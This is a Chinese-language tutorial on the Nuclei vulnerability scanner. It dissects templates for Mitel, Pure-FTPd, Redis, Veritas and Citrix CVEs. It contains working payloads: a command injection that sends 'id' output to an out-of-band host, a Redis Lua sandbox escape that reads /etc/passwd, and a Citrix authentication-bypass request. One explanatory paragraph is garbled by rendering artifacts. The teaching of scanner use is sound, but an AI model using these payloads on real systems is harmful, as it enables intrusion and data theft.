1. Go环境
bash
sudo tar -C /usr/local -xzf go1.xx.x.linux-amd64.tar.gz
export GOROOT=/usr/local/go
export GOPATH=$HOME/go
export PATH=$PATH:$GOROOT/bin:$GOPATH/bin
source ~/.bashrc
go version
go env
go env -w GOPROXY=https://goproxy.cn,direct
go install golang.org/x/tools/gopls@latest
go install github.com/cweill/gotests/gotests@v1.6.0
go install github.com/josharian/impl@v1.4.0
go install github.com/haya14busa/goplay/cmd/goplay@v1.0.0
git clone https://github.com/projectdiscovery/nuclei.git
cd nuclei
make
./bin/nuclei -h
2. What is Nuclei
传统漏洞管理工具存在明显局限,大多是较为固定的扫描模型,难以适应如今快速迭代的开发节奏。面对快速开发、动态基础设施和自动化攻击的新时代,安全团队亟需新的漏洞管理工具,真正提升防御效率与响应速度。ProjectDiscovery 通过结合成熟的开源技术和云原生功能,重新定义了资产攻击面管理。其平台通过对深度扫描和资产呈现,确保资产实时可见。简言之,它让安全团队能够以攻击者的视角看待组织的攻击面。
ProjectDiscovery打造了一个由超过10万名 工程师组成的蓬勃发展的全球社区 ,主要的工具包括:Nuclei, Httpx, Subfinder。
Nuclei是基于模板的可定制的漏洞扫描器 ,依托全球安全社区的支持,基于简洁的YAML DSL构建,来识别资产和脆弱性 。它能够检测应用程序、API、网络、DNS及云配置中的漏洞 ,每个模板描述了一条可能的攻击路径 ,详细说明了漏洞信息、其严重性、优先级, 有时还包括相关的漏洞利用代码。这种以模板驱动的方法确保了 Nuclei 不仅能识别潜在威胁,还能精确定位具有实际影响的可被利用的漏洞。
目前项目在GitHub上已收获26.5K Star,共计有12w+个Nuclei模板。Nuclei确保扫描速度快、结果精准,并与现实世界攻击者的行为保持一致。
| TAG | COUNT | DIRECTORY | COUNT | SEVERITY | COUNT |
|---|---|---|---|---|---|
| vuln | 6468 | http | 9281 | info | 4353 |
| cve | 3587 | cloud | 659 | high | 2552 |
| discovery | 3265 | file | 436 | medium | 2457 |
| vkev | 1394 | network | 259 | critical | 1555 |
| panel | 1365 | code | 251 | low | 330 |
| xss | 1269 | dast | 240 | unknown | 54 |
| wordpress | 1261 | workflows | 205 | ||
| exposure | 1141 | javascript | 92 | ||
| wp-plugin | 1103 | ssl | 38 | ||
| osint | 848 | dns | 23 |
表1-1 Nuclei Templates Top 10 statistics
typescript
扫描一个单独的URL:
nuclei -target example.com
对URL运行指定的模板:
nuclei -target example.com -t http/cves/ -t ssl
扫描hosts.txt中的多个URL:
nuclei -list hosts.txt
输出结果为JSON格式:
nuclei -target example.com -json-export output.json
使用已排序的Markdown输出(使用环境变量)运行nuclei:
MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/】
其他用法详见:
nuclei -h
调试:
-debug 显示所有请求和响应
-dreq, -debug-req 显示所有请求
-dresp, -debug-resp 显示所有响应
-p, -proxy string[] 使用http/socks5代理(逗号分隔,文件)
-pi, -proxy-internal 代理所有请求
-ldf, -list-dsl-function 列出所有支持的DSL函数签名
-tlog, -trace-log string 写入跟踪日志到文件
-elog, -error-log string 写入错误日志到文件
-version 显示版本信息
-hm, -hang-monitor 启用对nuclei挂起协程的监控
-v, -verbose 显示详细信息
-profile-mem string 将Nuclei的内存转储成文件
-vv 显示额外的详细信息
-svd, -show-var-dump 显示用于调试的变量输出
-ep, -enable-pprof 启用pprof调试服务器
-tv, -templates-version 显示已安装的模板版本
-hc, -health-check 运行诊断检查
统计:
-stats 显示正在扫描的统计信息
-sj, -stats-json 将统计信息以JSONL格式输出到文件
-si, -stats-inerval int 显示统计信息更新的间隔秒数(默认:5)
-mp, -metrics-port int 更改metrics服务的端口(默认:9092)
3. 漏扫模板详解
从nuclei-templates-main下载一些模板,让我挑几个模板例子,学习一下nuclei yaml模板语法。
3.1. CVE-2025-47188.yaml
yaml
id: CVE-2025-47188
info:
name: Mitel 6000 - OS Command Injection
severity: critical
author: matejsmycka
description: |
A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.
reference:
- https://labs.infoguard.ch/posts/cve-2025-47188_mitel_phone_unauthenticated_rce/
- https://nvd.nist.gov/vuln/detail/CVE-2025-47188
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2025-47188
epss-score: 0.03648
epss-percentile: 0.87498
cpe: cpe:2.3:a:mitel:6000:*:*:*:*:*:*:*
metadata:
vendor: mitel
max-request: 2
fofa-query: icon_hash="-1940372141" || icon_hash="-447557905"
tags: cve,cve2025,rce,network,mitel,oast,oob,vkev
variables:
waf_file: "524946462400000057415645666d7420100000000100010044ac000088580100020010006461746100000000"
random_number: "{{rand_base(8)}}"
http:
- raw:
- |
POST /cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=0&conn=0 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"
{{hex_decode(waf_file)}}
curl -d $(id) {{interactsh-url}}
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
- |
POST /cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=1&conn=0 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}{{random_number}}.txt).wav"
This is an invalid WAV file
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body_1
words:
- "ringtone.html"
# digest: 490a0046304402205a813ffd13d368c9e4b6556e2c1d83909ea6c029549923e840937807cf24b5750220740562b070ee64c6b746a297110e43eaa5ca7284e6ee1bf0eb0cf2633556b7a7:922c64590222798bb761d5b6d8e72950
CVE-2025-47188 是Mitel 6800/6900系列IP电话中的一个严重漏洞,允许未经身份验证的攻击者通过命令注入实现远程代码执行。
info信息代表了这个漏洞的基本信息,是重要的注释。
variables关键字,用于定义一些变量,这样后续方便直接使用{}进行变量替换。
yaml
variables:
waf_file: "52494646..." # RIFF WAV文件头(十六进制)
random_number: "{{rand_base(8)}}" # 8位随机数,避免缓存
其中有一些内置变量:
| 变量 | 描述 | 示例值 |
|---|---|---|
{{BaseURL}} |
完整基础URL | https://example.com |
{{RootURL}} |
根URL | https://example.com |
{{Hostname}} |
主机名 | example.com |
{{Host}} |
主机地址 | example.com:443 |
{{Port}} |
端口号 | 443 |
{{Path}} |
路径部分 | /api/v1 |
{{Scheme}} |
协议 | https |
其中有一些内置函数,详见dsl-functions.yaml:
scss
id: helper-functions-examples
info:
name: RAW Template with Helper Functions
author: pdteam
severity: info
http:
- raw:
# Note for the integration test: dsl expression should not contain commas
- |
GET / HTTP/1.1
Host: {{Hostname}}
01: {{base64("Hello")}}
02: {{base64(1234)}}
03: {{base64_decode("SGVsbG8=")}}
04: {{base64_py("Hello")}}
05: {{compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')}}
06: {{concat("Hello", "world")}}
07: {{contains("Hello", "lo")}}
08: {{contains_all("Hello everyone", "lo", "every")}}
09: {{contains_any("Hello everyone", "abc", "llo")}}
10: {{date_time("%Y-%M-%D")}}
11: {{date_time("%Y-%M-%D", unix_time())}}
12: {{date_time("%H-%m")}}
13: {{date_time("02-01-2006 15:04")}}
14: {{date_time("02-01-2006 15:04", unix_time())}}
15: {{dec_to_hex(11111)}}
16: {{generate_java_gadget("commons-collections3.1", "wget http://scanme.sh", "base64")}}
17: {{gzip("Hello")}}
18: {{gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))}}
19: {{hex_decode("6161")}}
20: {{hex_encode("aa")}}
21: {{hmac("sha1", "test", "scrt")}}
22: {{hmac("sha256", "test", "scrt")}}
23: {{hmac("sha512", "test", "scrt")}}
24: {{html_escape("<body>test</body>")}}
25: {{html_unescape("<body>test</body>")}}
26: {{join("_", "hello", "world")}}
27: {{len("Hello")}}
28: {{len(5555)}}
29: {{md5("Hello")}}
30: {{md5(1234)}}
31: {{mmh3("Hello")}}
32: {{print_debug(1+2, "Hello")}}
33: {{rand_base(5, "abc")}}
34: {{rand_base(5, "")}}
35: {{rand_base(5)}}
36: {{rand_char("abc")}}
37: {{rand_char("")}}
38: {{rand_char()}}
39: {{rand_int(1, 10)}}
40: {{rand_int(10)}}
41: {{rand_int()}}
42: {{rand_ip("192.168.0.0/24")}}
43: {{rand_ip("2002:c0a8::/24")}}
44: {{rand_ip("192.168.0.0/24","10.0.100.0/24")}}
45: {{rand_text_alpha(10, "abc")}}
46: {{rand_text_alpha(10, "")}}
47: {{rand_text_alpha(10)}}
48: {{rand_text_alphanumeric(10, "ab12")}}
49: {{rand_text_alphanumeric(10)}}
50: {{rand_text_numeric(10, 123)}}
51: {{rand_text_numeric(10)}}
52: {{regex("H([a-z]+)o", "Hello")}}
53: {{remove_bad_chars("abcd", "bc")}}
54: {{repeat("a", 5)}}
55: {{replace("Hello", "He", "Ha")}}
56: {{replace_regex("He123llo", "(\d+)", "")}}
57: {{reverse("abc")}}
58: {{sha1("Hello")}}
59: {{sha256("Hello")}}
60: {{sha512("Hello")}}
61: {{to_lower("HELLO")}}
62: {{to_upper("hello")}}
63: {{trim("aaaHelloddd", "ad")}}
64: {{trim_left("aaaHelloddd", "ad")}}
65: {{trim_prefix("aaHelloaa", "aa")}}
66: {{trim_right("aaaHelloddd", "ad")}}
67: {{trim_space(" Hello ")}}
68: {{trim_suffix("aaHelloaa", "aa")}}
69: {{unix_time(10)}}
70: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}}
71: {{url_encode("https://projectdiscovery.io/test?a=1")}}
72: {{wait_for(1)}}
73: {{zlib("Hello")}}
74: {{zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))}}
75: {{hex_encode(aes_gcm("AES256Key-32Characters1234567890", "exampleplaintext"))}}
76: {{starts_with("Hello", "He")}}
77: {{ends_with("Hello", "lo")}}
78: {{line_starts_with("Hi\nHello", "He")}}
79: {{line_ends_with("Hello\nHi", "lo")}}
80: {{sort("a1b2c3d4e5")}}
81: {{uniq("abcabdaabbccd")}}
82: {{join(" ", sort("b", "a", "2", "c", "3", "1", "d", "4"))}}
83: {{join(" ", uniq("ab", "cd", "12", "34", "12", "cd"))}}
84: {{split("ab,cd,efg", ",")}}
85: {{split("ab,cd,efg", ",", 2)}}
86: {{ip_format('127.0.0.1', 3)}}
87: {{ip_format('127.0.1.0', 11)}}
88: {{jarm('scanme.sh:443')}}
extractors:
- type: regex
name: results
regex:
- '\d+: [^\s]+'
http: - raw: 表示这是一个原始HTTP请求模板,也就是说:
bash
http:
- raw:
- |
POST /cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=0&conn=0 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"
{{hex_decode(waf_file)}}
curl -d $(id) {{interactsh-url}}
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
也就是这个post内容,完全依赖模板内容,raw模式用于精确控制HTTP请求的每一个字节时,并可以构造非标准、畸形或复杂的HTTP请求。上述请求的意思就是:
ini
POST /cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=0&conn=0
然后载荷内容为:
lua
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="{{random_number}}.txt"
{{hex_decode(waf_file)}}
curl -d $(id) {{interactsh-url}}
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
目的就是:作者会上传一个文件,准备在文件内容字段(正常情况下应该是WAV音频数据)中直接插入操作系统命令 ( <math xmlns="http://www.w3.org/1998/Math/MathML"> ( i d ) ), i d 命令:获取当前用户权限,那么后面这个 ' c u r l − d (id)),id命令:获取当前用户权限,那么后面这个`curl -d </math>(id)),id命令:获取当前用户权限,那么后面这个'curl−d(id) {{interactsh-url}}是什么意思呢,如果只是执行命令但看不到结果,无法100%确认漏洞利用成功,所以通过外传结果,可以**确凿证明**命令执行能力。本例中采用的是**Interactsh服务外传**,如果命令执行成功,目标设备会向Interactsh服务器发送DNS查询,自动记录和展示回传数据。那么第一个post请求如果成功,那么它会被保存到目标设备的一个路径下,例如: <math xmlns="http://www.w3.org/1998/Math/MathML"> H O M E / u s e r d a t a / r i n g t o n e / 12345678. t x t ' 。此时,这个文件只是一个 ∗ ∗ 静态的文本文件 ∗ ∗ ,系统还不会去执行它。里面的内容是 ' c u r l − d {HOME}/userdata/ringtone/12345678.txt`。此时,这个文件只是一个**静态的文本文件**,系统还不会去执行它。里面的内容是`curl -d </math>HOME/userdata/ringtone/12345678.txt'。此时,这个文件只是一个∗∗静态的文本文件∗∗,系统还不会去执行它。里面的内容是'curl−d(id) {{interactsh-url}}`。
接下来进行第二步,就是执行里面的内容:
kotlin
- |
POST /cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=1&conn=0 HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}{{random_number}}.txt).wav"
This is an invalid WAV file
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
这个目的就是:在filename参数中进行的命令注入,当设备处理这个文件名时,由于过滤不严,会执行 $() 中的命令。其逻辑是:执行(sh命令)第一步上传的文本文件。结果:成功实现RCE,并将命令结果外传。
后面就是匹配结果,也就是验证响应是否包含我们成功的标志
yaml
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- type: word
part: body_1
words:
- "ringtone.html"
matchers-condition为与,就是两种matchers都要命中:
第一个请求,如果命令执行成功,目标设备会向Interactsh服务器发送DNS查询 ,那么检查Interactsh回调。其次,part: body_1代表检查第一个请求的响应 ,如果响应成功的话,会返回一个上传成功的页面,一般来说这个响应里面会包含ringtone.html字段。
OKK,让我执行一下,并抓包看看效果:
xml
./bin/nuclei -t ./github-template/nuclei-templates-main/network/cves/2025/CVE-2025-47188.yaml -u http://0.0.0.0:60002/ --debug
__ _
____ __ _______/ /__ (_)
/ __ / / / / ___/ / _ / /
/ / / / /_/ / /__/ / __/ /
/_/ /_/__,_/___/_/___/_/ v3.6.2
projectdiscovery.io
INF] [CVE-2025-47188] Dumped HTTP request for http://0.0.0.0:60002/cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=0&conn=0
POST /cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=0&conn=0 HTTP/1.1
Host: 0.0.0.0:60002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:30.0) Gecko/20100101 Firefox/30.0
Connection: close
Content-Length: 278
Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f
Accept-Encoding: gzip
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="NlWLsTbk.txt"
RIFF$WAVEfmt D��Xdata
curl -d $(id) d5jjkm4lujf53belj8v0hnaic5wz8fceq.oast.site
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
[DBG] [CVE-2025-47188] Dumped HTTP response http://0.0.0.0:60002/cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=0&conn=0
HTTP/1.0 501 Unsupported method ('POST')
Content-Length: 497
Connection: close
Content-Type: text/html;charset=utf-8
Date: Wed, 14 Jan 2026 06:40:29 GMT
Server: SimpleHTTP/0.6 Python/3.7.9
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 501</p>
<p>Message: Unsupported method ('POST').</p>
<p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
</body>
</html>
[INF] [CVE-2025-47188] Dumped HTTP request for http://0.0.0.0:60002/cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=1&conn=0
POST /cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=1&conn=0 HTTP/1.1
Host: 0.0.0.0:60002
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15
Connection: close
Content-Length: 255
Content-Type: multipart/form-data; boundary=----0ba2fc3a8c91370bd74c5f7ab65fda3f
Accept-Encoding: gzip
------0ba2fc3a8c91370bd74c5f7ab65fda3f
Content-Disposition: form-data; name="upload_ringtone/newfile"; filename="fake$(sh ${HOME}userdata${HOME}ringtone${HOME}NlWLsTbk.txt).wav"
This is an invalid WAV file
------0ba2fc3a8c91370bd74c5f7ab65fda3f--
[DBG] [CVE-2025-47188] Dumped HTTP response http://0.0.0.0:60002/cgi-bin/webconfig?page=upload_ringtone&action=submit§ion=1&conn=0
HTTP/1.0 501 Unsupported method ('POST')
Content-Length: 497
Connection: close
Content-Type: text/html;charset=utf-8
Date: Wed, 14 Jan 2026 06:40:29 GMT
Server: SimpleHTTP/0.6 Python/3.7.9
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
"http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
<title>Error response</title>
</head>
<body>
<h1>Error response</h1>
<p>Error code: 501</p>
<p>Message: Unsupported method ('POST').</p>
<p>Error code explanation: HTTPStatus.NOT_IMPLEMENTED - Server does not support this operation.</p>
</body>
</html>
[INF] Scan completed in 11.621978997s. No results found.
3.2. CVE-2024-48208.yaml
less
id: CVE-2024-48208
info:
name: Pure-FTPd < 1.0.52 - Buffer Overflow
author: pussycat0x
tcp:
- inputs:
- data: 00000000
type: hex
host:
- "{{Hostname}}"
port: 21
read-size: 1024
matchers:
- type: dsl
dsl:
- "contains(raw, 'Pure-FTPd')"
- "compare_versions(version, '< 1.0.52')"
condition: and
extractors:
- type: regex
name: version
group: 1
regex:
- "Pure-FTPd ([0-9.]+)"
# digest: 4a0a00473045022079933a83438b5fd02769a89fcf61735fe9994d3ac147344c1245510acf2ab6a6022100aadc68c6f6d2a8faa20c415007cdb43a8f0e267dc1fb899477af93820a8a9b7b:922c64590222798bb761d5b6d8e72950
CVE-2024-48208 是Pure-FTPd中的一个高危漏洞,存在于domlsd()函数中的缓冲区溢出问题,影响1.0.52之前的所有版本。
这个模板的实际不进行实际的漏洞利用 ,而是通过版本检测来识别存在漏洞的系统。
首先,建立TCP连接后发送无效数据,触发FTP服务器的错误响应
tcp inputs关键字代表,输入的tcp载荷数据。
read-size: 1024:意味着扫描引擎会预先分配一个 1024 字节的缓冲区来接收目标返回的数据。这通常足以容纳许多服务的初始响应头或基础应答,有助于快速判断服务状态。
yaml
tcp:
- inputs:
- data: 00000000 # 十六进制的4个空字节
type: hex
host: "{{Hostname}}"
port: 21 # FTP标准端口
read-size: 1024
接着使用了extractors关键字,就是进一步提取字段,存到自定义变量version中:
yaml
extractors:
- type: regex
name: version # 提取的版本号保存到version变量
group: 1
regex:
- "Pure-FTPd ([0-9.]+)" # 正则表达式匹配版本号
然后智能匹配中,有一个类型是dsl,也就是使用了内置函数做version比较,以及响应检查,其中raw是一个内置变量,表示从服务器接收到的原始字节数据,直接看有没有Pure-FTPd标识:
yaml
matchers:
- type: dsl # 使用领域特定语言进行复杂匹配
dsl:
- "contains(raw, 'Pure-FTPd')" # 检查响应是否包含Pure-FTPd标识
- "compare_versions(version, '< 1.0.52')" # 版本比较
condition: and # 两个条件都必须满足
执行如下:
ini
[INF] Targets loaded for current scan: 1
[INF] [CVE-2024-48208] Dumped Network request for 0.0.0.0:60002
00000000 30 30 30 30 30 30 30 30 |00000000| address=0.0.0.0:60002
[DBG] [CVE-2024-48208] Dumped Network response for 0.0.0.0:60002
[INF] Scan completed in 5.001803266s. No results found.
3.3. CVE-2022-0543.yaml
CVE-2022-0543 是Redis中的一个严重漏洞,CVSS评分高达10分。这个漏洞的独特之处在于它不是Redis官方代码的问题,而是Debian/Ubuntu打包时引入的配置错误。
python
id: CVE-2022-0543
info:
name: Redis Sandbox Escape - Remote Code Execution
author: dwisiswant0
tcp:
- host:
- "{{Hostname}}"
- "tls://{{Hostname}}"
port: 6380
inputs:
- data: "eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /etc/passwd", "r"); local res = f:read("*a"); f:close(); return res' 0\r\n"
read-size: 64
matchers:
- type: regex
regex:
- "root:.*:0:0:"
# digest: 4b0a00483046022100c8ed4930c0fadb55442a5301f01895dd45518608db37c7887512edcb27ecff6702210088f7140385e7bb193216f1c3db0f499f98ea8b3f8c6f7591df89163af9a4b4f6:922c64590222798bb761d5b6d8e72950
我们先看一下,这个tcp host关键字,注意它有两个:
arduino
- "{{Hostname}}"
- "tls://{{Hostname}}"
这代表按顺序进行连接,连上一个就行。
接着,input作为tcp载荷,内容是:
css
EVAL 'lua_script' number_of_keys [key1] [key2] [...] [arg1] [arg2] [...]
也就是redis执行lua脚本的语句。
其中语句就是Lua沙箱逃逸代码:
ini
local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("cat /etc/passwd", "r");
local res = f:read("*a");
f:close();
return res
然后响应的检测,这里用到了regex关键字,去正则匹配,root:.*:0:0: 匹配 /etc/passwd文件中的root用户行。
3.4. CVE-2021-27877.yaml
这是一个针对 Veritas Backup Exec 认证绕过漏洞(CVE-2021-27877) 的Nuclei检测模板,它使用了JavaScript协议进行检测。****
ini
id: CVE-2021-27877
info:
name: Veritas Backup Exec - Broken Authentication
author: pussycat0x,DhiyaneshDK
javascript:
- pre-condition: |
isPortOpen(Host,Port);
code: |
let packet = bytes.NewBuffer();
const c = require("nuclei/net");
const cmd = "80000018000000010000000000000000000001080000000000000000"
packet.WriteString(cmd)
let conn = c.Open('tcp', `${Host}:${Port}`);
conn.SendHex(packet);
const result = conn.RecvFullString();
// Function to extract ASCII strings from various formats
function extractAsciiStrings(data) {
let asciiStrings = [];
let currentString = '';
if (data.includes('\x')) {
// Split by \x and process each part
const parts = data.split('\x');
for (let i = 1; i < parts.length; i++) { // Skip first empty part
const part = parts[i];
if (part.length === 0) continue;
// Handle single character
if (part.length === 1) {
const charCode = part.charCodeAt(0);
if (charCode >= 32 && charCode <= 126) { // Printable ASCII
currentString += part;
} else {
// End current string if we hit non-printable
if (currentString.length > 0) {
asciiStrings.push(currentString);
currentString = '';
}
}
} else if (part.length === 2) {
// Try to parse as hex
const hexValue = parseInt(part, 16);
if (!isNaN(hexValue) && hexValue >= 32 && hexValue <= 126) {
currentString += String.fromCharCode(hexValue);
} else {
// End current string if we hit non-printable
if (currentString.length > 0) {
asciiStrings.push(currentString);
currentString = '';
}
}
} else {
// Multiple characters - process each
for (let j = 0; j < part.length; j++) {
const charCode = part.charCodeAt(j);
if (charCode >= 32 && charCode <= 126) {
currentString += part[j];
} else {
// End current string if we hit non-printable
if (currentString.length > 0) {
asciiStrings.push(currentString);
currentString = '';
}
}
}
}
}
} else {
// If not \x format, process as raw string
for (let i = 0; i < data.length; i++) {
const charCode = data.charCodeAt(i);
if (charCode >= 32 && charCode <= 126) { // Printable ASCII
currentString += data[i];
} else {
// End current string if we hit non-printable
if (currentString.length > 0) {
asciiStrings.push(currentString);
currentString = '';
}
}
}
}
// Add final string if exists
if (currentString.length > 0) {
asciiStrings.push(currentString);
}
// Filter out empty strings and return non-empty ones
return asciiStrings.filter(s => s.length > 0);
}
const asciiStrings = extractAsciiStrings(result);
const cleanResult = asciiStrings.join(' ');
Export(ToString(cleanResult));
args:
Host: "{{Host}}"
Port: 10000
matchers:
- type: dsl
dsl:
- "success == true"
- "compare_versions(version, '< 9.3')"
condition: and
extractors:
- type: regex
part: response
group: 1
name: version
regex:
- 'Remote Agent for NT ([0-9.]+)'
# digest: 4a0a00473045022011a4c8d7bb0e88f797edc325113cb21cf93fd6324db125f358e78d9ce08b9b5602210093cafecdcf93c635e56989c7396f59b3e6c7f82f3bc67a037571aef1121a7409:922c64590222798bb761d5b6d8e72950
这个模板使用javascript而不是传统的http或tcp,是因为需要复杂的协议分析和数据处理能力。相当于通过编码来进行收发包,来构造请求和匹配响应。
步骤1,先进行预条件检查:
css
pre-condition: |
isPortOpen(Host,Port); # 首先检查目标端口是否开放
步骤2,构造攻击数据包:
ini
const cmd = "80000018000000010000000000000000000001080000000000000000"
packet.WriteString(cmd)
这是一个Veritas Backup Exec Agent协议的特定命令包,用于触发SHA认证流程。
步骤3,发送并接收响应:
ini
let conn = c.Open('tcp', `${Host}:${Port}`);
conn.SendHex(packet);
const result = conn.RecvFullString();
模板的核心是一个精心设计的 extractAsciiStrings函数,用于从二进制响应中提取可读信息:
ini
function extractAsciiStrings(data) {
let asciiStrings = [];
let currentString = '';
// 处理包含\x转义的二进制数据
if (data.includes('\x')) {
const parts = data.split('\x');
// ... 复杂的字符解析逻辑
}
// ... 更多处理逻辑
}
// 提取ASCII字符串
const asciiStrings = extractAsciiStrings(result)
// 合并为可读文本;
const cleanResult = asciiStrings.join(' ');
// 导出到Nuclei上下文
Export(ToString(cleanResult));
为什么需要这么复杂的解析 ?Veritas Backup Exec Agent返回的是二进制协议数据,其中可能包含:
- 版本信息 :如"Remote Agent for NT 9.2"
- 服务标识 :产品名称和版本号
- 错误信息:认证失败或服务状态
我们再看一下匹配条件, 首先会从清洗后的响应中提取,也就是Export(ToString(cleanResult));,后再提取版本号他其实也是个版本校验的漏洞,而不是直接利用。
yaml
matchers:
- type: dsl
dsl:
- "success == true" # 连接和通信成功
- "compare_versions(version, '< 9.3')" # 版本低于9.3(存在漏洞)
condition: and
extractors:
- type: regex
part: response
group: 1
name: version
regex:
- 'Remote Agent for NT ([0-9.]+)'
为什么需要这个阶段?
arduino
// 原始二进制数据可能看起来像这样(包含不可见字符):
// \x00\x01Remote Agent for NT 9.2\x00\xff\xfe...
// 经过 extractAsciiStrings 处理后:
// ["Remote Agent for NT", "9.2"]
// 最终 cleanResult:
// "Remote Agent for NT 9.2"
4. 如何规范开发
4.1. 命名规范
makefile
# ✅ 推荐的命名格式
id: cve-2023-12345-apache-rce
id: wordpress-plugin-xss-authenticated
id: spring-boot-actuator-exposure
id: nginx-alias-traversal
# ❌ 避免的命名格式
id: test1
id: my-template
id: vuln-check
id: scan
4.2. 完整的信息字段
yaml
id: CVE-2025-47188
info:
name: Mitel 6000 - OS Command Injection
severity: critical
author: matejsmycka
description: |
A vulnerability in the Mitel 6800 Series, 6900 Series, and 6900w Series SIP Phones through 6.4 SP4 (R6.4.0.4006), and the 6970 Conference Unit through 6.4 SP4 (R6.4.0.4006) or version V1 R0.1.0, could allow an unauthenticated attacker to conduct a command injection attack due to insufficient parameter sanitization. This template should be run on port 49249/tcp.
reference:
- https://labs.infoguard.ch/posts/cve-2025-47188_mitel_phone_unauthenticated_rce/
- https://nvd.nist.gov/vuln/detail/CVE-2025-47188
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
cvss-score: 6.5
cve-id: CVE-2025-47188
epss-score: 0.03648
epss-percentile: 0.87498
cpe: cpe:2.3:a:mitel:6000:*:*:*:*:*:*:*
metadata:
vendor: mitel
max-request: 2
fofa-query: icon_hash="-1940372141" || icon_hash="-447557905"
tags: cve,cve2025,rce,network,mitel,oast,oob,vkev
4.3. 负责任的漏洞检测
- 检测信息泄露漏洞,不包含实际利用代码
- 不提取实际的敏感信息,只确认漏洞存在
- 避免破坏性测试
4.4. 举一个例子
针对 Citrix 服务器的 CVE-2020-8193。该漏洞利用需要多个请求,其中从第一个请求获取的 Cookie 需要随所有后续请求一起发送,并且响应中的一些动态变量也需要随每个请求发送。
CVE-2020-8193 Nuclei 模板分步解析
成功利用的第一个要求是从第一个请求获取 Cookie(例如 SESSID)并在所有后续操作中重复使用。为此,可以在请求中使用 cookie-reuse: true标志,它将在所有已定义的请求之间维持会话。
bash
requests:
cookie-reuse: true
- raw:
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Content-Type: application/xml
X-NITRO-USER: xpyZxwy6
X-NITRO-PASS: xWXHUJ56
<appfwprofile><login></login></appfwprofile>
该漏洞利用的另一个要求是从响应体中提取一个名为 rand_key的动态变量,该变量需要在第 4 个请求中发送。所有后续请求都需要这个值,否则会失败。我们通过向提取器添加一个名为 internal的可选字段来解决这个问题,该字段将提取器结果标记为仅在模板内部使用。所有出现的提取器名称(在此例中为 randkey)将在请求中被从响应中检索到的值替换。
bash
# Previous requests get the randkey using
